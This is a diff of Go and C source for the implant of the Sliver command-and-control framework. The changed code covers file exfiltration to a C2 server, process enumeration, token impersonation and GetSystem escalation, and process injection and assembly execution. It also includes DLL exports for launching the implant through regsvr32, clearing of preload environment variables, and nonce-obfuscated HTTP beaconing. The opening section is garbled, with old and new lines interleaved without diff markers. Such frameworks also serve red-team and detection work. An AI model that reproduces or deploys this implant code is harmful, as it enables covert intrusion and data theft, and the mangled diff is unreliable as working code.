// If maxBytes is negative, seek to that many bytes from the end of the file
if maxBytes < 0 {
_, err = fileHandle.Seek(maxBytes, io.SeekEnd)
if err != nil {
return nil, err
}
}
reader := bufio.NewReader(fileHandle)
lines := []string{}
var bytesRead int64 = 0
for {
// Read a single line
line, err := reader.ReadBytes('\n')
if err != nil && err != io.EOF {
// We hit an error trying to read the file
return nil, err
}
if maxBytes > 0 && bytesRead+int64(len(line)) > maxBytes {
// If we save this line, then we will have read too many bytes.
// Truncate the line
remainingBytes := maxBytes - bytesRead
line = line[:remainingBytes]
}
lines = append(lines, string(line))
bytesRead += int64(len(line))
// If this is the end of the file, then we are done reading the file
if err == io.EOF {
break
}
// If we have read the maximum number of bytes we are allowed to read, we are done reading the file
if maxBytes > 0 && bytesRead >= maxBytes {
break
}
}
// If maxLines is negative, slice the last maxLines * -1 lines
if maxLines < 0 {
// Determine where in the line buffer we should be for negative lines
startIndex := int64(len(lines)) + maxLines
if startIndex < 0 {
// Make sure we do not go out of bounds
startIndex = 0
}
lines = lines[startIndex:]
} else if maxLines > 0 && int64(len(lines)) > maxLines {
lines = lines[:maxLines]
}
// Join the lines
combinedFileData := strings.Join(lines, "")
return []byte(combinedFileData), nil
}
func readMultipleFiles(path string, filter string, recurse bool) *sliverpb.Download {
var downloadData bytes.Buffer
var downloadResponse *sliverpb.Download = &sliverpb.Download{
Path: path + filter,
Exists: true,
IsDir: true,
ReadFiles: 0,
UnreadableFiles: 1,
}
readFiles, unreadableFiles, err := compressDir(path, filter, recurse, &downloadData)
// {{if .Config.Debug}}
log.Printf("error creating the archive: %v", err)
// {{end}}
downloadResponse.ReadFiles = int32(readFiles)
downloadResponse.UnreadableFiles = int32(unreadableFiles)
if err != nil {
downloadResponse.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
return downloadResponse
}
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, downloadData.Bytes())
downloadResponse.Data = gzipData.Bytes()
downloadResponse.Encoder = "gzip"
downloadResponse.Response = &commonpb.Response{}
return downloadResponse
}
// func prepareDownload(path string, filter string, recurse bool, maxBytes int64, maxLines int64) ([]byte, bool, int, int, error) {
func prepareDownload(path string, filter string, recurse bool, restrictedToFiles bool, maxBytes int64, maxLines int64) *sliverpb.Download {
var rawData []byte
var err error
// Default response
var downloadResponse *sliverpb.Download = &sliverpb.Download{
Path: path + filter,
Exists: false,
IsDir: false,
ReadFiles: 0,
UnreadableFiles: 1,
Response: &commonpb.Response{},
fileInfo, err := os.Stat(path + filter)
if err != nil && os.IsNotExist(err) {
// Then the file does not exist
return nil, false, 0, 1, err
}
// Check to see how many files or dirs match path+filter
matches, err := filepath.Glob(path + filter)
if err != nil {
// If we got here, then there is something wrong with the supplied pattern
downloadResponse.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
return downloadResponse
}
if len(matches) == 0 {
// Then nothing matches the pattern and there is nothing to download
downloadResponse.Response = &commonpb.Response{
Err: "no files match pattern",
}
return downloadResponse
} else if len(matches) == 1 {
fileInfo, err := os.Stat(matches[0])
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
fileHandle, err := os.Open(path + filter)
if err != nil {
downloadResponse.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
return downloadResponse
// Then we could not read the file
return nil, false, 0, 1, err
}
defer fileHandle.Close()
if !fileInfo.IsDir() {
// If we are here, the user requested a single file
fileData, err := readSingleFile(matches[0], maxBytes, maxLines)
//{{if .Config.Debug}}
log.Printf("error while preparing download for %s: %v", matches[0], err)
//{{end}}
if err != nil {
downloadResponse.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
if maxBytes != 0 {
var readFirst bool = maxBytes > 0
if readFirst {
rawData = make([]byte, maxBytes)
_, err = fileHandle.Read(rawData)
} else {
rawData = make([]byte, maxBytes*-1)
var bytesToRead int64 = 0
if fileInfo.Size()+maxBytes < 0 {
bytesToRead = 0
} else {
bytesToRead = fileInfo.Size() + maxBytes
}
return downloadResponse
_, err = fileHandle.ReadAt(rawData, bytesToRead)
}
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, fileData)
downloadResponse.Path = matches[0]
downloadResponse.Data = gzipData.Bytes()
downloadResponse.Encoder = "gzip"
downloadResponse.Exists = true
downloadResponse.ReadFiles = 1
downloadResponse.UnreadableFiles = 0
return downloadResponse
} else if maxLines != 0 {
var linesRead int64 = 0
var lines []string
var readFirst bool = true
if maxLines < 0 {
maxLines *= -1
readFirst = false
}
fileScanner := bufio.NewScanner(fileHandle)
for fileScanner.Scan() {
lines = append(lines, fileScanner.Text())
linesRead += 1
if linesRead == maxLines && readFirst {
break
}
}
err = fileScanner.Err()
if err == nil {
if readFirst {
rawData = []byte(strings.Join(lines, "\n"))
} else {
linePosition := int64(len(lines)) - maxLines
if linePosition < 0 {
linePosition = 0
}
rawData = []byte(strings.Join(lines[linePosition:], "\n"))
}
}
} else {
if restrictedToFiles {
downloadResponse.Response = &commonpb.Response{
Err: "multiple files match pattern, command is restricted to one file",
}
return downloadResponse
}
downloadResponse = readMultipleFiles(path, filter, recurse)
return downloadResponse
// Read the entire file
rawData = make([]byte, fileInfo.Size())
_, err = fileHandle.Read(rawData)
}
if err != nil && err != io.EOF {
// Then we could not read the file
return nil, false, 0, 1, err
} else {
return rawData, false, 1, 0, nil
}
}
// If we are here, then the user wants multiple files (a directory or part of a directory)
if restrictedToFiles {
downloadResponse.Response = &commonpb.Response{
Err: "multiple files match pattern, command is restricted to one file",
}
return downloadResponse
}
downloadResponse = readMultipleFiles(path, filter, recurse)
return downloadResponse
var downloadData bytes.Buffer
readFiles, unreadableFiles, err := compressDir(path, filter, recurse, &downloadData)
return downloadData.Bytes(), true, readFiles, unreadableFiles, err
}
// Send a file back to the hive
func downloadHandler(data []byte, resp RPCResponse) {
var rawData []byte
/*
A flag for whether this is a directory - used if
this download is being looted
*/
var isDir bool
var download *sliverpb.Download
downloadReq := &sliverpb.DownloadReq{}
@@ -677,7 +585,8 @@ func downloadHandler(data []byte, resp RPCResponse) {
target, _ := filepath.Abs(downloadReq.Path)
if pathIsDirectory(target) {
target += string(os.PathSeparator)
// Even if the implant is running on Windows, Go can deal with "/" as a path separator
target += "/"
if downloadReq.RestrictedToFile {
/*
The user has asked to perform a download operation that should only be allowed on
@@ -700,7 +609,36 @@ func downloadHandler(data []byte, resp RPCResponse) {
path, filter := determineDirPathFilter(target)
download = prepareDownload(path, filter, downloadReq.Recurse, downloadReq.RestrictedToFile, downloadReq.MaxBytes, downloadReq.MaxLines)
rawData, isDir, readFiles, unreadableFiles, err := prepareDownload(path, filter, downloadReq.Recurse, downloadReq.MaxBytes, downloadReq.MaxLines)
if err != nil {
if isDir {
// {{if .Config.Debug}}
log.Printf("error creating the archive: %v", err)
// {{end}}
} else {
//{{if .Config.Debug}}
log.Printf("error while preparing download for %s: %v", target, err)
//{{end}}
}
download = &sliverpb.Download{Path: target, Exists: false, ReadFiles: int32(readFiles), UnreadableFiles: int32(unreadableFiles)}
download.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
} else {
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, rawData)
download = &sliverpb.Download{
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
IsDir: isDir,
ReadFiles: int32(readFiles),
UnreadableFiles: int32(unreadableFiles),
Response: &commonpb.Response{},
}
}
data, _ = proto.Marshal(download)
resp(data, err)
+2 -2
View File
@@ -477,8 +477,8 @@ func migrateHandler(data []byte, resp RPCResponse) {
migrateResp.Success = false
migrateResp.Response = &commonpb.Response{}
} else {
// Search for the PID, do not need all info about the process
processes, err := ps.Processes(false)
// Search for the PID
processes, err := ps.Processes()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
@@ -38,7 +38,7 @@ func psHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
procs, err := ps.Processes(psListReq.FullInfo)
procs, err := ps.Processes()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
@@ -51,10 +51,10 @@ func psHandler(data []byte, resp RPCResponse) {
for _, proc := range procs {
p := &commonpb.Process{
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Architecture: proc.Architecture(),
}
p.CmdLine = proc.(*ps.DarwinProcess).CmdLine()
@@ -29,7 +29,7 @@ import (
"os"
"path/filepath"
"runtime"
"strconv"
"strconv"
"syscall"
"github.com/bishopfox/sliver/implant/sliver/ps"
@@ -49,7 +49,7 @@ func psHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
procs, err := ps.Processes(psListReq.FullInfo)
procs, err := ps.Processes()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
@@ -155,12 +155,12 @@ func nsLinuxIfconfig(interfaces *sliverpb.Ifconfig) {
// Save the current network namespace
pidPath := strconv.Itoa(os.Getpid())
tidPath := strconv.Itoa(unix.Gettid())
origns, _ := getFdFromPath(filepath.Join(procDir, pidPath, "/task", tidPath, "/ns/net"))
origns, _ := getFdFromPath(filepath.Join(procDir, pidPath, "/task", tidPath, "/ns/net"))
defer unix.Close(origns)
// We only need to use the path value
for _, nsPath := range namespacesFound {
nsFd, err := unix.Open(nsPath, unix.O_RDONLY|unix.O_CLOEXEC, 0)
for _, nsPath := range namespacesFound {
nsFd, err := unix.Open(nsPath, unix.O_RDONLY|unix.O_CLOEXEC, 0)
if err != nil {
continue
}
@@ -180,7 +180,7 @@ func nsLinuxIfconfig(interfaces *sliverpb.Ifconfig) {
// {{if .Config.Debug}}
log.Printf("Interfaces: %v\n", ifaces)
// {{end}}
ifconfigParseInterfaces(ifaces, interfaces, nsPath)
ifconfigParseInterfaces(ifaces, interfaces, nsPath)
}
// Switch back to the original namespace
unix.Setns(origns, unix.CLONE_NEWNET)
@@ -205,8 +205,8 @@ func ifconfigLinux() *sliverpb.Ifconfig {
func ifconfigParseInterfaces(netInterfaces []net.Interface, interfaces *sliverpb.Ifconfig, namespacePath ...string) {
// Append namespace ID if passed in
var appendNsId = ""
if len(namespacePath) > 0 {
appendNsId = fmt.Sprintf(" NS(%v)", namespacePath[0])
if len(namespacePath) > 0 {
appendNsId = fmt.Sprintf(" NS(%v)",namespacePath[0])
}
for _, iface := range netInterfaces {
@@ -38,7 +38,7 @@ func psHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
procs, err := ps.Processes(psListReq.FullInfo)
procs, err := ps.Processes()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
@@ -51,10 +51,10 @@ func psHandler(data []byte, resp RPCResponse) {
for _, proc := range procs {
p := &commonpb.Process{
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Architecture: proc.Architecture(),
}
p.CmdLine = proc.(*ps.WindowsProcess).CmdLine()
+1 -1
View File
@@ -544,7 +544,7 @@ func (p *NetConnPivot) readEnvelope() (*pb.Envelope, error) {
// {{end}}
return nil, err
}
data, err = p.cipherCtx.DecryptWithoutSignatureCheck(data)
data, err = p.cipherCtx.Decrypt(data)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Decryption error: %s", err)
+17 -12
View File
@@ -63,8 +63,10 @@ var CurrentToken windows.Token
func SePrivEnable(s string) error {
var tokenHandle windows.Token
thsHandle := windows.CurrentProcess()
thsHandle, err := windows.GetCurrentProcess()
if err != nil {
return err
}
windows.OpenProcessToken(
//r, a, e := procOpenProcessToken.Call(
thsHandle, // HANDLE ProcessHandle,
@@ -72,7 +74,7 @@ func SePrivEnable(s string) error {
&tokenHandle, // PHANDLE TokenHandle
)
var luid windows.LUID
err := windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(s), &luid)
err = windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(s), &luid)
if err != nil {
// {{if .Config.Debug}}
log.Println("LookupPrivilegeValueW failed", err)
@@ -213,9 +215,7 @@ func impersonateUser(username string) (token windows.Token, err error) {
err = fmt.Errorf("username can't be empty")
return
}
// We do not need full process info here, just PID and executable name
p, err := ps.Processes(false)
p, err := ps.Processes()
if err != nil {
return
}
@@ -422,9 +422,7 @@ func Impersonate(username string) (token windows.Token, err error) {
func GetSystem(data []byte, hostingProcess string) (err error) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
// Just need PID, not all info
procs, _ := ps.Processes(false)
procs, _ := ps.Processes()
for _, p := range procs {
if p.Executable() == hostingProcess {
err = SePrivEnable("SeDebugPrivilege")
@@ -558,7 +556,14 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
var tokenInfoBufferSize uint32
// Get a handle for the current process
currentProcHandle := windows.CurrentProcess()
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get a handle for the current process: ", err)
// {{end}}
return nil, integrity, processName, err
}
// Get the PID for the current process
sessionPID, err := windows.GetProcessId(currentProcHandle)
@@ -569,8 +574,8 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
log.Println("Could not get PID for current process: ", err)
// {{end}}
} else {
// Get process info for the current PID, do not need full info
processInformation, err := ps.FindProcess(int(sessionPID), false)
// Get process info for the current PID
processInformation, err := ps.FindProcess(int(sessionPID))
if err != nil {
// {{if .Config.Debug}}
+4 -4
View File
@@ -36,16 +36,16 @@ type Process interface {
// called. Some operating systems don't provide snapshot capability of the
// process table, in which case the process table returned might contain
// ephemeral entities that happened to be running when this was called.
func Processes(fullInfo bool) ([]Process, error) {
return processes(fullInfo)
func Processes() ([]Process, error) {
return processes()
}
// FindProcess looks up a single process by pid.
//
// Process will be nil and error will be nil if a matching process is
// not found.
func FindProcess(pid int, fullInfo bool) (Process, error) {
return findProcess(pid, fullInfo)
func FindProcess(pid int) (Process, error) {
return findProcess(pid)
}
// Kill finds a process from a PID and terminates it.
+22 -32
View File
@@ -48,8 +48,8 @@ func (p *DarwinProcess) Architecture() string {
return p.arch
}
func findProcess(pid int, fullInfo bool) (Process, error) {
ps, err := processes(fullInfo)
func findProcess(pid int) (Process, error) {
ps, err := processes()
if err != nil {
return nil, err
}
@@ -63,7 +63,7 @@ func findProcess(pid int, fullInfo bool) (Process, error) {
return nil, nil
}
func processes(fullInfo bool) ([]Process, error) {
func processes() ([]Process, error) {
var owner string
buf, _, err := procInfoSyscall()
if err != nil {
@@ -92,39 +92,29 @@ func processes(fullInfo bool) ([]Process, error) {
binPath, _ = pCommReader.ReadString(0x00)
}
binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
// Discard the error: if the call errors out, we'll just have an empty argv slice
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
if fullInfo {
// Discard the error: if the call errors out, we'll just have an empty argv slice
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
uid := fmt.Sprintf("%d", p.Eproc.Ucred.Uid)
u, err := user.LookupId(uid)
if err != nil {
owner = uid
} else {
owner = u.Username
}
if owner == "" {
owner = uid
}
arch := ""
darwinProcs[i] = &DarwinProcess{
pid: int(p.Proc.P_pid),
ppid: int(p.Eproc.Ppid),
binary: binPath,
owner: owner,
cmdLine: cmdLine,
arch: arch,
}
uid := fmt.Sprintf("%d", p.Eproc.Ucred.Uid)
u, err := user.LookupId(uid)
if err != nil {
owner = uid
} else {
darwinProcs[i] = &DarwinProcess{
pid: int(p.Proc.P_pid),
ppid: int(p.Eproc.Ppid),
binary: binPath,
}
owner = u.Username
}
if owner == "" {
owner = uid
}
arch := ""
darwinProcs[i] = &DarwinProcess{
pid: int(p.Proc.P_pid),
ppid: int(p.Eproc.Ppid),
binary: binPath,
owner: owner,
cmdLine: cmdLine,
arch: arch,
}
}
return darwinProcs, nil
+3 -8
View File
@@ -1,4 +1,3 @@
//go:build linux
// +build linux
package ps
@@ -152,8 +151,8 @@ func (p *UnixProcess) Refresh() error {
return err
}
func findProcess(pid int, fullInfo bool) (Process, error) {
ps, err := processes(fullInfo)
func findProcess(pid int) (Process, error) {
ps, err := processes()
if err != nil {
return nil, err
}
@@ -165,7 +164,7 @@ func findProcess(pid int, fullInfo bool) (Process, error) {
return nil, fmt.Errorf("no process found for pid %d", pid)
}
func processes(fullInfo bool) ([]Process, error) {
func processes() ([]Process, error) {
d, err := os.Open("/proc")
if err != nil {
return nil, err
@@ -202,10 +201,6 @@ func processes(fullInfo bool) ([]Process, error) {
if err != nil {
continue
}
if !fullInfo {
results = append(results, p)
continue
}
p.owner, err = getProcessOwner(int(pid))
if err != nil {
continue
+22 -31
View File
@@ -5,13 +5,12 @@ package ps
import (
"fmt"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
"runtime"
"strings"
"syscall"
"unsafe"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
)
// WindowsProcess is an implementation of Process for Windows.
@@ -53,7 +52,7 @@ func (p *WindowsProcess) SessionID() int {
return p.sessionID
}
func newWindowsProcess(e *syscall.ProcessEntry32, fullInfo bool) *WindowsProcess {
func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
// Find when the string ends for decoding
end := 0
for {
@@ -62,33 +61,24 @@ func newWindowsProcess(e *syscall.ProcessEntry32, fullInfo bool) *WindowsProcess
}
end++
}
account, _ := getProcessOwner(e.ProcessID)
sessionID, _ := getSessionID(e.ProcessID)
cmdLine, _ := getCmdLine(e.ProcessID)
arch, _ := getProcessArchitecture(e.ProcessID)
if fullInfo {
account, _ := getProcessOwner(e.ProcessID)
sessionID, _ := getSessionID(e.ProcessID)
cmdLine, _ := getCmdLine(e.ProcessID)
arch, _ := getProcessArchitecture(e.ProcessID)
return &WindowsProcess{
pid: int(e.ProcessID),
ppid: int(e.ParentProcessID),
exe: syscall.UTF16ToString(e.ExeFile[:end]),
owner: account,
cmdLine: cmdLine,
arch: arch,
sessionID: sessionID,
}
} else {
return &WindowsProcess{
pid: int(e.ProcessID),
ppid: int(e.ParentProcessID),
exe: syscall.UTF16ToString(e.ExeFile[:end]),
}
return &WindowsProcess{
pid: int(e.ProcessID),
ppid: int(e.ParentProcessID),
exe: syscall.UTF16ToString(e.ExeFile[:end]),
owner: account,
cmdLine: cmdLine,
arch: arch,
sessionID: sessionID,
}
}
func findProcess(pid int, fullInfo bool) (Process, error) {
ps, err := processes(fullInfo)
func findProcess(pid int) (Process, error) {
ps, err := processes()
if err != nil {
return nil, err
}
@@ -135,7 +125,7 @@ func getProcessOwner(pid uint32) (owner string, err error) {
return
}
defer syscall.CloseHandle(handle)
var token syscall.Token
if err = syscall.OpenProcessToken(handle, syscall.TOKEN_QUERY, &token); err != nil {
return
@@ -151,7 +141,7 @@ func getProcessOwner(pid uint32) (owner string, err error) {
return
}
func processes(fullInfo bool) ([]Process, error) {
func processes() ([]Process, error) {
handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
if err != nil {
return nil, err
@@ -166,7 +156,7 @@ func processes(fullInfo bool) ([]Process, error) {
results := make([]Process, 0, 50)
for {
results = append(results, newWindowsProcess(&entry, fullInfo))
results = append(results, newWindowsProcess(&entry))
err = syscall.Process32Next(handle, &entry)
if err != nil {
@@ -259,6 +249,7 @@ func getCmdLine(pid uint32) ([]string, error) {
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
}
err = syscall.CloseHandle(proc)
if err != nil {
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
@@ -278,7 +269,7 @@ func getProcessArchitecture(pid uint32) (string, error) {
nativeArch = "x86_64"
} else {
var is64Bit bool
pHandle := windows.CurrentProcess()
pHandle, _ := windows.GetCurrentProcess()
if uint(pHandle) == 0 {
nativeArch = ""
} else if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
+7 -12
View File
@@ -3,13 +3,11 @@
#ifdef __WIN32
#include <windows.h>
// {{range .Config.Exports}}
void {{.}}();
// {{end}}
void StartW();
DWORD WINAPI Start()
{
{{ (index .Config.Exports 0) }}();
StartW();
return 0;
}
@@ -45,30 +43,27 @@ BOOL WINAPI DllMain(
#elif __linux__
#include <stdlib.h>
// {{range .Config.Exports}}
void {{.}}();
// {{end}}
void StartW();
static void init(int argc, char **argv, char **envp)
{
unsetenv("LD_PRELOAD");
unsetenv("LD_PARAMS");
// {{if .Config.RunAtLoad}}
{{ (index .Config.Exports 0) }}();
StartW();
// {{end}}
}
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
#elif __APPLE__
#include <stdlib.h>
// {{range .Config.Exports}}
void {{.}}();
// {{end}}
void StartW();
__attribute__((constructor)) static void init(int argc, char **argv, char **envp)
{
unsetenv("DYLD_INSERT_LIBRARIES");
unsetenv("LD_PARAMS");
// {{if .Config.RunAtLoad}}
{{ (index .Config.Exports 0) }}();
StartW();
// {{end}}
}
+31 -4
View File
@@ -113,15 +113,42 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
// {{if or .Config.IsSharedLib .Config.IsShellcode}}
var isRunning bool = false
// {{range .Config.Exports}}
//export {{.}}
func {{.}} () {
// StartW - Export for shared lib build
//
//export StartW
func StartW() {
if !isRunning {
isRunning = true
main()
}
}
// {{end}}
// Thanks Ne0nd0g for those
//https://github.com/Ne0nd0g/merlin/blob/master/cmd/merlinagentdll/main.go#L65
// VoidFunc is an exported function used with PowerSploit's Invoke-ReflectivePEInjection.ps1
//
//export VoidFunc
func VoidFunc() { main() }
// DllInstall is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /n /i sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846(v=vs.85).aspx
//
//export DllInstall
func DllInstall() { main() }
// DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
//
//export DllRegisterServer
func DllRegisterServer() { main() }
// DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
//
//export DllUnregisterServer
func DllUnregisterServer() { main() }
// {{end}}
func main() {
+21 -4
View File
@@ -144,7 +144,13 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
if processHandle == 0 {
return err
}
currentProcHandle := windows.CurrentProcess()
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return err
}
err = windows.DuplicateHandle(processHandle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
if err != nil {
// {{if .Config.Debug}}
@@ -308,8 +314,13 @@ func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uin
}
defer windows.CloseHandle(handle)
defer windows.CloseHandle(lpTargetHandle)
currentProcHandle := windows.CurrentProcess()
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return "", err
}
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
if err != nil {
// {{if .Config.Debug}}
@@ -355,7 +366,13 @@ func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, o
if err != nil {
return "", err
}
currentProcHandle := windows.CurrentProcess()
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return "", err
}
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
if err != nil {
// {{if .Config.Debug}}
@@ -29,7 +29,6 @@ import (
insecureRand "math/rand"
"net/http"
"net/url"
"path"
"strconv"
"strings"
"sync"
@@ -51,8 +50,6 @@ var (
userAgent = "{{GenerateUserAgent}}"
NonceQueryArgChars = "{{.HTTPC2ImplantConfig.NonceQueryArgChars}}" // "abcdefghijklmnopqrstuvwxyz"
NonceQueryLength = "{{.HTTPC2ImplantConfig.NonceQueryLength}}" // 8
NonceMode = "{{.HTTPC2ImplantConfig.NonceMode}}" // Url or UrlParam
ErrClosed = errors.New("http session closed")
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
@@ -199,35 +196,17 @@ func (s *SliverHTTPClient) SessionInit() error {
// NonceQueryArgument - Adds a nonce query argument to the URL
func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value uint64) *url.URL {
values := uri.Query()
key := NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))]
argValue := fmt.Sprintf("%d", value)
for i := 0; i < insecureRand.Intn(3); i++ {
index := insecureRand.Intn(len(argValue))
char := string(NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))])
argValue = argValue[:index] + char + argValue[index:]
}
if NonceMode == "UrlParam" {
values := uri.Query()
var key string
length, _ := strconv.Atoi(NonceQueryLength)
for i := 0; i < length; i++ {
key += string(NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))])
}
values.Add(string(key), argValue)
uri.RawQuery = values.Encode()
return uri
} else {
segments := strings.Split(uri.Path, "/")
extension := path.Ext(segments[len(segments)-1])
index := insecureRand.Intn(len(segments))
segments[index] = argValue
if index == len(segments)-1 {
segments[index] += extension
}
uri.Path = strings.Join(segments, "/")
return uri
}
values.Add(string(key), argValue)
uri.RawQuery = values.Encode()
return uri
}
// OTPQueryArgument - Adds an OTP query argument to the URL
@@ -259,7 +238,7 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
Name string
Value string
Probability string
Method string
Methods []string
}
// HTTP C2 Profile headers
@@ -269,15 +248,20 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
Name: "{{$header.Name}}",
Value: "{{$header.Value}}",
Probability: "{{$header.Probability}}",
Method: "{{$header.Method}}",
Methods: []string{
// {{range $method := $header.Methods}}
"{{$method}}",
// {{end}}
},
},
// {{end}}
}
for _, header := range extraHeaders {
if len(header.Method) > 0 && header.Method != method {
continue
// Empty array means all methods (backwards compatibility)
if len(header.Methods) > 0 {
if !contains(header.Methods, method) {
continue
}
}
// {{if .Config.Debug}}
log.Printf("Rolling to add HTTP header '%s: %s' (%s)", header.Name, header.Value, header.Probability)
@@ -294,19 +278,11 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
extraURLParams := []nameValueProbability{
// {{range $param := .HTTPC2ImplantConfig.ExtraURLParameters}}
{
Name: "{{$param.Name}}",
Value: "{{$param.Value}}",
Probability: "{{$param.Probability}}",
Method: "{{$param.Method}}",
},
{Name: "{{$param.Name}}", Value: "{{$param.Value}}", Probability: "{{$param.Probability}}"},
// {{end}}
}
queryParams := req.URL.Query()
for _, param := range extraURLParams {
if len(param.Method) > 0 && param.Method != method {
continue
}
probability, _ := strconv.Atoi(param.Probability)
if 0 < probability {
roll := insecureRand.Intn(99) + 1
@@ -450,12 +426,12 @@ func (s *SliverHTTPClient) ReadEnvelope() (*pb.Envelope, error) {
if s.SessionID == "" {
return nil, errors.New("no session")
}
uri := s.parseSegments()
uri := s.parseSegments(0)
nonce, encoder := encoders.RandomEncoder(0)
s.NonceQueryArgument(uri, nonce)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
// {{if .Config.Debug}}
log.Printf("[http] GET -> %s", req.URL)
log.Printf("[http] GET -> %s", uri)
// {{end}}
resp, rawRespData, err := s.DoPoll(req)
if err != nil {
@@ -525,7 +501,7 @@ func (s *SliverHTTPClient) WriteEnvelope(envelope *pb.Envelope) error {
return err
}
uri := s.parseSegments()
uri := s.parseSegments(1)
nonce, encoder := encoders.RandomEncoder(len(reqData))
s.NonceQueryArgument(uri, nonce)
encodedValue, _ := encoder.Encode(reqData)
@@ -573,7 +549,7 @@ func (s *SliverHTTPClient) CloseSession() error {
s.pollCancel = nil
// Tell server session is closed
uri := s.parseSegments()
uri := s.parseSegments(2)
nonce, _ := encoders.RandomEncoder(0)
s.NonceQueryArgument(uri, nonce)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
@@ -609,43 +585,74 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
return strings.Join(segments, "/")
}
func (s *SliverHTTPClient) parseSegments() *url.URL {
func (s *SliverHTTPClient) parseSegments(segmentType int) *url.URL {
curl, _ := url.Parse(s.Origin)
var (
files []string
paths []string
extensions []string
pollFiles []string
pollPaths []string
sessionFiles []string
sessionPaths []string
closePaths []string
closeFiles []string
)
// {{range .HTTPC2ImplantConfig.PathSegments}}
// {{if eq .SegmentType 0 }}
// {{if .IsFile}}
files = append(files, "{{.Value}}")
pollFiles = append(pollFiles, "{{.Value}}")
// {{end}}
// {{if not .IsFile }}
paths = append(paths, "{{.Value}}")
pollPaths = append(pollPaths, "{{.Value}}")
// {{end}}
// {{end}}
// {{range $extension := .HTTPC2ImplantConfig.Extensions}}
extensions = append(extensions, "{{$extension}}")
// {{if eq .SegmentType 1}}
// {{if .IsFile}}
sessionFiles = append(sessionFiles, "{{.Value}}")
// {{end}}
// {{if not .IsFile }}
sessionPaths = append(sessionPaths, "{{.Value}}")
// {{end}}
curl.Path = s.pathJoinURL(s.randomPath(paths, files, extensions))
// {{end}}
// {{if eq .SegmentType 2}}
// {{if .IsFile}}
